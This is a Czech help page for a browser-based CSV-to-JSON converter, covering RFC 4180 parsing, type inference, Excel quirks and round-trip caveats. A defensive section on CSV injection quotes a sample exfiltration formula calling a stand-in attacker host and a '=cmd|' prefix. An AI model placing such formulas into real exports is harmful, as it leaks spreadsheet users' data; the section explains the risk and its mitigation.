Převaděč CSV do JSON

Vložte platné CSV — export z Excelu, stažený soubor z Google Tabulek, výpis z databáze nebo odpověď API — a převodník v reálném čase vytvoří čisté pole JSON. První řádek je ve výchozím nastavení považován za záhlaví a stává se klíči objektu JSON; následující řádky se stávají objekty v poli JSON.

Odvození typů povyšuje:

• zjevné číselné řetězce na čísla (42 zůstává celým číslem, 3.14 zůstává desetinným číslem)
• booleovské řetězce na booleovské hodnoty (true/false bez ohledu na velikost písmen)
• prázdné buňky na hodnotu null

Pokud je váš následný systém na typy přísný, můžete toto chování vypnout.

Převod probíhá zcela ve vašem prohlížeči pomocí vlastního parseru podle RFC 4180 a nativní funkce JSON.stringify (podle ECMA-404). Výstup je připraven k vložení do souboru `.json`, odeslání do REST API nebo použití jako datová sada v JavaScriptu.

• Krok 1: Vložte své CSV do editoru. Parser provádí ověření při psaní — neplatné CSV (neuzavřené uvozovky, nesprávný počet sloupců, špatný oddělovač) zobrazí přesnou chybu včetně řádku a sloupce.
• Krok 2: V případě potřeby parser nakonfigurujte — vyberte oddělovač (výchozí je čárka; pro exporty z evropského Excelu přepněte na středník nebo na tabulátor pro soubory TSV), přepněte režim záhlaví a zvolte odvození typů.
• Krok 3: Výstup JSON se zobrazí živě v pravém panelu. Klikněte na Kopírovat (schránka) nebo Stáhnout (soubor `.json`).

Pro programové zpracování je stejná logika zpřístupněna prostřednictvím koncového bodu `/api/calculate` — odešlete na něj CSV metodě POST a v těle odpovědi obdržíte JSON. Obousměrná bezpečnost funguje spolehlivě pro plochá tabulková data; vnořená data vyžadují vlastní strategii zploštění.

CSV (Comma-Separated Values) je plochý tabulkový formát — každý řádek představuje jeden řádek tabulky, pole jsou oddělena oddělovačem. Nemá žádné nativní typy (každá buňka je text), žádné vnořování (pouze jedna úroveň do hloubky, jako databázová tabulka) a minimální metadata (volitelný řádek záhlaví). Je univerzálně čitelné: každý tabulkový procesor, každý import do databáze a každý nástroj příkazového řádku si s CSV poradí.

JSON (JavaScript Object Notation) je hierarchický formát s explicitními typy (řetězec, číslo, booleovská hodnota, null), vnořenými objekty a poli a s popisnými klíči pro každý záznam. JSON je lingua franca pro REST/GraphQL API, NoSQL databáze a konfigurační soubory.

Kdy co použít:

• CSV pro hromadná tabulková data, výměnu tabulek, ingest do ETL a analytické pracovní postupy.
• JSON pro API, konfigurační soubory, vnořené záznamy a komunikaci mezi stroji.

Mezi formáty převádějte na rozhraní systémů: načtěte CSV → zpracujte jako JSON → exportujte zpět do CSV, pokud to tabulkový procesor na konci řetězce vyžaduje.

RFC 4180 (2005) je informační standard IETF pro formát CSV.

Základní pravidla:

• Záznamy jsou odděleny znaky CRLF (Windows) nebo LF (Unix).
• Pole jsou oddělena oddělovačem (ve standardu čárka; v praxi se běžně mění).
• Pole obsahující oddělovač, dvojitou uvozovku nebo nový řádek musí být uzavřena v dvojitých uvozovkách.
• Uvnitř pole v uvozovkách se doslovná dvojitá uvozovka escapuje zdvojením (`""` představuje jednu uvozovku `"`).
• Jako první záznam se může objevit volitelný řádek záhlaví.

Zde implementovaný parser toleruje ukončení řádků pouze pomocí LF, oddělovače v podobě středníku, tabulátoru nebo svislé čáry (lze přepnout v nastavení), UTF-8 BOM na začátku souboru (automaticky se odstraní) a koncový nový řádek na konci souboru. Neuzavřená pole v uvozovkách a řádky s nesprávným počtem sloupců odmítne s jasnými chybovými hlášeními.

Odvození typů povyšuje zjevné neuzavřené hodnoty na typy nativní pro JSON.

• Čísla: číselné vzory odpovídající syntaxi celých nebo desetinných čísel v JSON se stanou čísly v JSON. `42` → celé číslo 42. `3.14` → desetinné číslo 3.14. `1e6` → 1000000. `01234` je nejednoznačné — přísné parsery čísel odmítají úvodní nuly, takže zůstává řetězcem (což je přesně to, co chcete u poštovních směrovacích čísel).
• Booleovské hodnoty: `true` a `false` (bez ohledu na velikost písmen) se stanou booleovskými hodnotami v JSON. Poznámka: toto je konvence YAML 1.2 / strict JSON — `yes`/`no`/`on`/`off` zůstávají jako řetězce (řešení tzv. „norského problému“).
• Null: prázdné buňky (mezi dvěma po sobě jdoucími oddělovači nebo na konci řádku) se stanou hodnotou null v JSON.

Pokud odvození typů vypnete, každá buňka zůstane řetězcem bez ohledu na svůj obsah — to se hodí, když váš navazující systém (např. přísný TypeScript pipeline) očekává jednotné typy.

Excel je dominantním tvůrcem souborů CSV a jeho exporty mají svá specifika.

• Kódování: Excel pro Windows často ukládá CSV jako UTF-8 s BOM (parser jej automaticky odstraní) nebo v kódování Windows-1252 (Latin-1) u starších verzí. Excel pro Mac obvykle ukládá čisté kódování UTF-8. Pokud se ne-ASCII znaky zobrazují zkresleně, uložte soubor před vložením v tabulkovém procesoru znovu jako UTF-8.
• Oddělovače: v evropských prostředích (Německo, Francie atd.) používá Excel středníky, protože čárka slouží jako desetinný oddělovač; podle toho přepněte nastavení oddělovače.
• Ukončení řádků: Excel ve výchozím nastavení používá CRLF — je plně podporováno.
• Uvozovky: Excel uzavírá do uvozovek každou buňku obsahující čárku nebo dvojitou uvozovku; vnořené uvozovky jsou escapovány pomocí `""`.
• Formátování čísel: Excel může exportovat číslo jako `1,234.56` (čárka jako oddělovač tisíců), které bude parser považovat za řetězec, pokud jej nepřejmenujete/neupravíte.
• Sloupce s datem se exportují jako výchozí řetězec daného prostředí — obvykle vyžadují následné zpracování pro převod do formátu ISO 8601.

JSON je dominantní formát požadavků a odpovědí pro REST API, koncové body GraphQL a většina moderních webových služeb.

Prevádění CSV na JSON je častým krokem v situacích, kdy:

• hromadně importujete data prostřednictvím API, které přijímá pole JSON (např. registrace uživatelů, plnění katalogu produktů, koncové body pro hromadné aktualizace);
• plníte NoSQL databáze (MongoDB, DynamoDB, Cassandra), které nativně přijímají JSON pomocí příkazů jako `mongoimport`, `aws dynamodb batch-write-item` nebo podobných;
• napájíte ETL potrubí (Airflow, Prefect, dbt), která zpracovávají exporty CSV prostřednictvím transformací založených na JSON;
• naplňujete testovací data na frontendu pro prototypy komponent v Reactu/Vue/Angular.

Po převodu ověřte výstupní JSON proti svému navazujícímu schématu (JSON Schema, tělo požadavku OpenAPI, vstupní typ GraphQL), abyste odhalili nesoulad typů ještě před nasazením.

JSON je nativní datový formát pro běhová prostředí JavaScriptu (prohlížeč, Node.js, Deno, Bun).

Převeďte CSV na JSON, když potřebujete:

• vložit statickou datovou sadu do komponenty v Reactu/Vue (`import data from './data.json'`);
• inicializovat úložiště Redux/Pinia/Zustand počátečním stavem;
• naplnit knihovnu pro tvorbu grafů (Chart.js, D3, Plotly), která vyžaduje JSON;
• vytvořit prototyp skriptu v Node.js, který zpracuje záznamy před zápisem do databáze;
• vytvořit falešný koncový bod v Express/Fastify, který vrací ukázková data.

Výstup JSON z tohoto převodníku je plně kompatibilní se standardem ECMA-404 — `JSON.parse()`, těla požadavků `fetch()` POST a odvození typů v TypeScriptu (`type Row = typeof data[0]`) fungují bez nutnosti úprav.

Pro velmi velké datové sady (10 tisíc a více řádků) zvažte streamování pomocí knihovny Papa Parse namísto jednorázového převodu.

CSV injekce (též injekce vzorců) je zranitelnost webových aplikací, ke které dochází, když je soubor CSV obsahující předpony vzorců (`=`, `+`, `-`, `@`) otevřen v Excelu nebo Google Tabulkách a tabulkový procesor tento vzorec automaticky provede.

Útočníci toho mohou využít k:

• exfiltraci dat (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
• spuštění libovolných příkazů (starší syntaxe maker v Excelu),
• nebo k oklamání uživatelů, aby navštívili škodlivé adresy URL.

Tento převodník je pouze pro čtení (CSV → JSON), takže riziko injekce nezavádí. Pokud však vaše aplikace generuje exporty CSV ze vstupů od uživatelů, proveďte sanitizaci.

Standardní mitigace: před zápisem do CSV opatřete každou buňku, která začíná znakem `=`, `+`, `-`, `@`, `\t`, `\r` nebo `0x09`, jednoduchou uvozovkou na začátku (`'=cmd|...`). Organizace OWASP má kompletní tahák k CSV injekcím, který pokrývá všechny varianty.

Pět chyb má na svědomí 90 % selhání při parsování CSV.

• Neuzavřené pole v uvozovkách — pole začíná znakem `"`, ale nikdy nemá odpovídající uzavírací uvozovku `"`. Parser čte dál až do konce souboru a pak ohlásí chybu. Řešení: zajistěte, aby každá otevírací uvozovka měla svůj protějšek.
• Nesprávný počet sloupců na řádcích — některé řádky mají méně nebo více polí než záhlaví. Příčiny: zatoulané nové řádky uvnitř textu bez uvozovek, chybějící nebo přebývající oddělovače. Řešení: ověřte, že počet sloupců je konzistentní.
• Špatný oddělovač — váš soubor používá středníky, ale parser je nastaven na čárky. Přepněte nastavení oddělovače.
• Špatný styl escapování — použití `\"` (ve stylu JSON) namísto `""` (ve stylu RFC 4180) uvnitř polí v uvozovkách. Řešení: proveďte nový export ze zdrojového nástroje se správným použitím uvozovek podle RFC 4180.
• Neshoda kódování — ne-ASCII znaky se zobrazují zkresleně. Uložte zdrojový soubor znovu jako UTF-8 (většina tabulkových procesorů tuto možnost nabízí v nabídce Uložit jako).

Chybová zpráva v převodníku ukazuje přesný řádek a sloupec.

Pět aspektů obousměrného převodu, které by měl znát každý vývojář.

• Plochá data: čistě plochá tabulková data CSV → JSON → CSV zachovávají hodnoty buněk, typy (s výjimkou povýšení typů, pokud JSON znovu parsujete) a pořadí sloupců.
• Vnořený JSON: nelze jej převádět obousměrně přes CSV bez zploštění. Zvolte strategii: názvy sloupců s tečkovou notací (`address.city`, `address.zip`), řetězce JSON uvnitř buněk nebo pouze první úroveň.
• Povýšení typů: číselné a booleovské řetězce jsou při převodu CSV → JSON povýšeny; pokud je exportujete zpět do CSV, jsou vypsány ve své nativní formě. Poštovní směrovací čísla (`01234`) vyžadují ve zdrojovém CSV uvozovky, aby se zachovala.
• Pořadí záhlaví: převodník zachovává pořadí zdrojových sloupců. Pořadí klíčů objektu JSON je zachováno moderními javascriptovými enginy.
• Prázdné buňky: v JSON se stávají hodnotou null; pokud provádíte zpětný export, nakonfigurujte svůj generátor CSV tak, aby vypouštěl prázdné řetězce nebo literály `null` jako původní data.

Před spoléháním se na obousměrný převod v produkčních procesech proveďte test s netriviálními daty.

Přehled mapování typů:

• Řádek záhlaví CSV → klíče objektu JSON;
• Řádek CSV → objekt JSON;
• Buňka CSV (bez uvozovek, číselná) → číslo v JSON;
• Buňka CSV (bez uvozovek, true/false) → booleovská hodnota v JSON;
• Buňka CSV (prázdná) → hodnota null v JSON;
• Buňka CSV (v uvozovkách nebo nečíselná) → řetězec v JSON.

Porovnání nástrojů: tento převodník (v prohlížeči, okamžitě, bez instalace, přísný dle RFC 4180) vs Papa Parse (knihovna JS, streamování, pracovní vlákna) vs csvkit (CLI v Pythonu, velké soubory, detekce dialektů) vs `jq -R -c -f csv2json.jq` (Unixový shell, programově).

Osvědčené postupy:

• Nejednoznačná pole (číselná ID, PSČ, řetězce s úvodní nulou) ve zdrojovém CSV vždy uzavírejte do uvozovek.
• Pro zajištění kompatibility používejte kódování UTF-8 — starší soubory z Excelu uložte znovu jako UTF-8.
• Ověřte výstupní JSON proti svému navazujícímu schématu (JSON Schema, OpenAPI, typy v TypeScriptu) — chyby typů chyťte na rozhraní, nikoliv v produkci.
• Udržujte CSV jako zdroj pravdy pro tabulková data a pokud možno generujte JSON znovu v době sestavování nebo importu.
• Pro soubory větší než 50 MB přejděte na streamovací nástroje (procesor Papa Parse, kanál csvkit) namísto převodu v prohlížeči.